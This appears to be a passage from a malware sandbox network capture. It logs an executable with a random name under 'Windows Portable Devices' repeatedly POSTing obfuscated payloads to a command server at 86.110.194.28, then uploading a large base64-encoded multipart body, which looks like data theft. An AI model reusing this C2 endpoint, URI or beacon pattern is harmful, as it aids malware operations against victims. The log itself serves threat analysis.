Jan 3, 2025 18:27:30.502676964 CET	2576	OUT	Data Raw: 5b 53 5e 59 58 5f 50 59 54 5b 59 5a 5b 51 57 5e 5f 50 5a 54 52 5d 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S^YX_PYT[YZ[QW^_PZTR]PG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@<-)[6$2Z<(-$42<!S54:7^,%),A$<<+)#Y'$X.9
Jan 3, 2025 18:27:30.838896036 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:30.970470905 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	61251	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:33.055418968 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:33.409058094 CET	2568	OUT	Data Raw: 5e 57 5b 5f 58 5b 55 5b 54 5b 59 5a 5b 57 57 59 5f 50 5a 5e 52 5d 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[_X[U[T[YZ[WWY_PZ^R]PF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&C<..!:R2?$@]-%752/"B!U X0)$E0<8W?9#Y'$X.)
Jan 3, 2025 18:27:33.743057013 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:33.872131109 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	61252	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:34.172316074 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:34.518335104 CET	2576	OUT	Data Raw: 5e 52 5e 5b 58 5a 50 5f 54 5b 59 5a 5b 5e 57 5a 5f 51 5a 5c 52 53 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^[XZP_T[YZ[^WZ_QZ\RSPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<.66:+$,#=+>'"2?)Q6$7709$$?+)#Y'$X.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	61253	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:34.648998976 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2052 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:35.002702951 CET	2052	OUT	Data Raw: 5e 52 5b 5d 58 56 50 59 54 5b 59 5a 5b 53 57 53 5f 5d 5a 5f 52 57 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R[]XVPYT[YZ[SWS_]Z_RWPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(=5:31<(E);2_$$=\&)P69#8Y398E'/+#Y'$X.1
Jan 3, 2025 18:27:35.353427887 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:35.485681057 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 13 25 05 2e 59 3d 3f 0d 58 26 1d 22 00 36 30 0d 04 3b 0e 35 18 21 02 2d 5b 32 38 2c 56 3d 3e 21 1a 3c 0d 2e 0d 20 10 03 10 3f 30 28 5d 03 10 39 1e 2b 03 23 59 29 2d 29 5f 2e 19 23 19 30 0e 20 1f 3d 33 0f 13 26 12 03 0a 21 13 0e 0b 3d 30 3a 07 33 2b 33 04 28 23 2b 5f 27 07 20 54 0b 17 27 1d 24 56 27 5a 32 28 39 10 29 24 38 1f 33 03 25 57 21 2c 36 50 23 39 06 18 2c 09 3a 0d 24 28 29 54 3d 00 0e 0c 31 2a 04 5c 26 2b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $%.Y=?X&"60;5!-[28,V=>!<. ?0(]9+#Y)-)_.#0 =3&!=0:3+3(#+_' T'$V'Z2(9)$83%W!,6P#9,:$()T=1*\&+.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	61254	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:34.791085958 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:35.143332005 CET	2576	OUT	Data Raw: 5b 5c 5e 5b 58 58 55 5b 54 5b 59 5a 5b 53 57 5f 5f 57 5a 5f 52 51 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [\^[XXU[T[YZ[SW__WZ_RQPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&<>!_":&E=(.^$B)2?1!7)4(4Y%)$/$)9#Y'$X.1
Jan 3, 2025 18:27:35.487046957 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:35.622272015 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	61255	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:35.759906054 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:36.112097025 CET	2576	OUT	Data Raw: 5b 5d 5b 5c 58 5f 50 5f 54 5b 59 5a 5b 50 57 5e 5f 5d 5a 59 52 52 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [][\X_P_T[YZ[PW^_]ZYRRPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@+"!<U2??)(!'!\1Y654483<3/<S?#Y'$X.
Jan 3, 2025 18:27:36.468316078 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:36.602719069 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	61256	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:37.241244078 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:37.596476078 CET	2576	OUT	Data Raw: 5e 51 5e 5e 58 58 50 51 54 5b 59 5a 5b 55 57 53 5f 55 5a 5d 52 51 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q^^XXPQT[YZ[UWS_UZ]RQPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+=!\!0U$<?*Y'.&<>"$-V!+(X$)+$S(#Y'$X.)
Jan 3, 2025 18:27:37.937427044 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:38.067295074 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	61257	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:38.213171005 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:38.565215111 CET	2576	OUT	Data Raw: 5b 51 5e 5e 5d 59 50 5e 54 5b 59 5a 5b 54 57 53 5f 52 5a 5b 52 5c 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q^^]YP^T[YZ[TWS_RZ[R\PC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?=2!9/1,3*6'%!V!4: +0'700U+#Y'$X.-
Jan 3, 2025 18:27:38.919476032 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:39.056304932 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	61258	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:39.198837042 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:39.549678087 CET	2576	OUT	Data Raw: 5e 55 5b 58 58 59 55 5b 54 5b 59 5a 5b 55 57 5e 5f 52 5a 5e 52 53 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^U[XXYU[T[YZ[UW^_RZ^RSPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<!Z"/$/?*^'5Y2<="-Q $Z'(3/0?#Y'$X.)
Jan 3, 2025 18:27:39.881741047 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:40.010487080 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T
Jan 3, 2025 18:27:40.227842093 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	61259	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:40.327380896 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	61260	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:40.494733095 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:40.846458912 CET	2060	OUT	Data Raw: 5b 51 5b 5c 58 59 50 5e 54 5b 59 5a 5b 53 57 52 5f 53 5a 5c 52 52 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q[\XYP^T[YZ[SWR_SZ\RRP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B<->"* 1<E*_0=[1R"-Q ++'9C&< <)#Y'$X.1
Jan 3, 2025 18:27:41.175582886 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:41.303272009 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 1e 32 5d 32 59 3d 01 3b 59 26 1d 2d 12 22 20 28 59 2f 30 00 42 21 02 25 5f 31 38 24 55 2b 3d 2a 43 28 0d 0b 1f 34 2e 25 54 3f 0a 28 5d 03 10 39 13 28 04 2b 58 3d 07 25 58 2e 27 3b 5c 27 19 2b 02 3e 20 25 57 32 3c 3a 55 21 3d 09 56 3d 0d 3e 03 24 15 28 5d 3f 0e 3f 12 24 07 20 54 0b 17 27 1e 26 23 3c 02 26 06 39 10 3d 37 28 5d 24 14 31 19 23 2c 0b 0f 20 29 28 17 2f 20 21 56 30 01 29 54 3e 3d 20 0f 26 29 22 11 27 3b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $2]2Y=;Y&-" (Y/0B!%_18$U+=*C(4.%T?(]9(+X=%X.';\'+> %W2<:U!=V=>$(]??$ T'&#<&9=7(]$1#, )(/ !V0)T>= &)"';.\#(U4WP
Jan 3, 2025 18:27:41.303780079 CET	362	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----yAbqlMJdghMCq8kxznRpE60jYE6iXlG5zi User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 186586 Expect: 100-continue
Jan 3, 2025 18:27:41.514892101 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:41.515161991 CET	14832	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 79 41 62 71 6c 4d 4a 64 67 68 4d 43 71 38 6b 78 7a 6e 52 70 45 36 30 6a 59 45 36 69 58 6c 47 35 7a 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------yAbqlMJdghMCq8kxznRpE60jYE6iXlG5ziContent-Disposition: form-data; name="0"Content-Type: text/plain[Q[X]^PXT[YZ[^W\_TZTRUPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_Z
Jan 3, 2025 18:27:41.520088911 CET	4944	OUT	Data Raw: 4a 44 63 4a 50 4f 32 79 72 6f 56 7a 79 58 7a 62 30 71 74 4e 6a 4b 30 56 43 6f 33 4d 46 72 64 33 6d 59 37 4e 70 6d 4b 76 70 55 76 31 37 64 57 67 78 69 72 52 43 6b 45 45 54 52 69 36 49 5a 34 67 52 78 54 65 70 4d 53 78 43 4f 7a 6f 58 57 6d 42 5a 6d Data Ascii: JDcJPO2yroVzyXzb0qtNjK0VCo3MFrd3mY7NpmKvpUv17dWgxirRCkEETRi6IZ4gRxTepMSxCOzoXWmBZm1miQWwb8ulHKGT58v5euRExU3M3LpEAaHVG8vakcSoDSQ8kCCcZAI/9EVTKPVA58JIkJYL6egjoh7F+mAEdPE4r4uKvXI/63hbG8cMCJ3YyfGyFAOidNnSU1pqjXlfdxeR/L4k98TpAEalEwxSHAXAYG5/GFG01Lt
Jan 3, 2025 18:27:41.520205021 CET	7416	OUT	Data Raw: 38 4f 47 6e 73 6d 32 4e 52 4a 47 58 4e 73 70 75 79 57 36 52 54 61 6b 44 37 37 77 63 39 2f 4a 65 4f 49 30 45 4a 63 2f 49 56 30 78 31 68 77 68 75 52 49 45 73 47 57 74 2f 6b 76 61 77 52 61 72 65 64 69 77 5a 63 45 74 70 48 4b 77 7a 56 6d 7a 73 76 31 Data Ascii: 8OGnsm2NRJGXNspuyW6RTakD77wc9/JeOI0EJc/IV0x1hwhuRIEsGWt/kvawRarediwZcEtpHKwzVmzsv1tbXjvG1bkvEz97gClscyAD1MUzGPcTp/HWJs8EvTPv8KzjJj5ZnRr64SNuyS6R3/eLLRnvfc7Y2LuXcJP0S/iu1B62/CTNeS1hfmyCp0X1pGD+GFZ/GImdTSMDtua5L2vkVKQIbdaXw9t8wpo7/ZQC4GFpa4dDEZn
Jan 3, 2025 18:27:41.520272017 CET	4944	OUT	Data Raw: 6b 6c 30 6e 54 5a 63 6d 30 4e 38 39 31 42 44 5a 51 38 4b 77 44 38 2b 54 7a 55 5a 46 50 4c 66 38 50 56 46 35 33 36 4b 51 41 65 42 67 62 62 6b 4e 34 33 4a 56 4f 6c 36 58 51 73 36 57 6f 43 42 31 2b 47 47 42 6e 48 35 77 38 50 4b 62 43 2f 76 77 45 6c Data Ascii: kl0nTZcm0N891BDZQ8KwD8+TzUZFPLf8PVF536KQAeBgbbkN43JVOl6XQs6WoCB1+GGBnH5w8PKbC/vwElXNAytddUU7Wxyi1LgSHR8DMiPuERU7vYDG6hMsWXvQnOprqAWsBbgnZce/vdXeWh0Q+4tyDDmlyL8dsN1DfeMrKVh/Q2FDE8w8c2/AViLKKlQfHjWk74fmvBQw5Vwm6GPROldc8Cl2fHxK4zJIRczRyMcGgC4DYhB
Jan 3, 2025 18:27:41.520301104 CET	2472	OUT	Data Raw: 77 49 73 76 6f 71 2f 56 4d 50 71 30 4e 7a 6e 77 6c 56 61 35 73 70 6e 35 66 49 58 6b 2b 78 74 2b 51 76 6e 79 65 71 43 4f 52 7a 45 4b 74 33 44 76 39 52 73 4f 43 32 6c 61 4b 72 62 45 49 52 6b 63 67 73 64 55 4d 56 64 37 64 7a 51 35 75 30 6c 79 6a 7a Data Ascii: wIsvoq/VMPq0NznwlVa5spn5fIXk+xt+QvnyeqCORzEKt3Dv9RsOC2laKrbEIRkcgsdUMVd7dzQ5u0lyjz6f97rCLYbiTrlOtvGIzvj5jCMW2IZ7J3T3JR1a1zC6le+Y+XthgZuAg6Pqkys3lK5JHdvvVSh3y2PsDnYVe+A1MXy/T6a3i1gx3X0Zh3cqutfqj8u3UjFCS98sf2NGs2DW/hVnL/uYoX2T7T7n4IxWsdLFhzXHdLN
Jan 3, 2025 18:27:41.520311117 CET	2472	OUT	Data Raw: 46 70 77 63 66 78 54 63 68 73 76 57 4e 62 5a 77 4d 4d 37 47 30 65 48 6f 2b 58 32 38 46 73 4c 36 4e 75 34 7a 2b 44 33 4f 63 68 49 44 55 58 4c 5a 61 63 32 76 33 61 59 7a 38 68 46 74 6a 73 4f 65 5a 33 41 31 6a 54 50 64 48 42 6f 61 32 4c 66 6d 4d 33 Data Ascii: FpwcfxTchsvWNbZwMM7G0eHo+X28FsL6Nu4z+D3OchIDUXLZac2v3aYz8hFtjsOeZ3A1jTPdHBoa2LfmM306YYtCezWddYmBrrt2ZYpP2ei37p3Cn3+i36yWCuMB5U0ERyPtGDw7D/M7EXpe9MlcLorgT0qX3WtrZ9NUR4LCckhiD7ITN9nu4Vn/NXwrQQCaiUbrPqNAsoBqM/HBN+vGh2oKKOJryqDENS0USyYJEzmR/pkeU+W
Jan 3, 2025 18:27:41.520473003 CET	2472	OUT	Data Raw: 69 2f 50 34 37 4b 77 45 33 30 45 2b 56 62 57 4c 68 4e 7a 66 32 4b 52 52 4d 6b 74 72 61 69 41 31 2f 76 55 7a 51 4e 77 36 31 57 44 4c 2b 2f 52 64 6b 5a 2f 39 71 77 78 56 6e 30 50 54 45 35 31 69 66 64 50 7a 75 74 31 63 34 4d 71 76 71 7a 75 33 2f 2f Data Ascii: i/P47KwE30E+VbWLhNzf2KRRMktraiA1/vUzQNw61WDL+/RdkZ/9qwxVn0PTE51ifdPzut1c4Mqvqzu3//6NnFQ0+KDy6iRBkHewmIvIuZI8P5A7HNwPSNnPhG/6RJXaBCozhHF3ODtFFrgCvD9AJK/IXswP5rxtk3eJ8Ro9wAIsVo/I+NRc3xlWfvWc1u5aMNfaHrc7RQTd+RXuZ6jEGklrM/kWCxAwI+0UJCkushwfCPBWmEJ
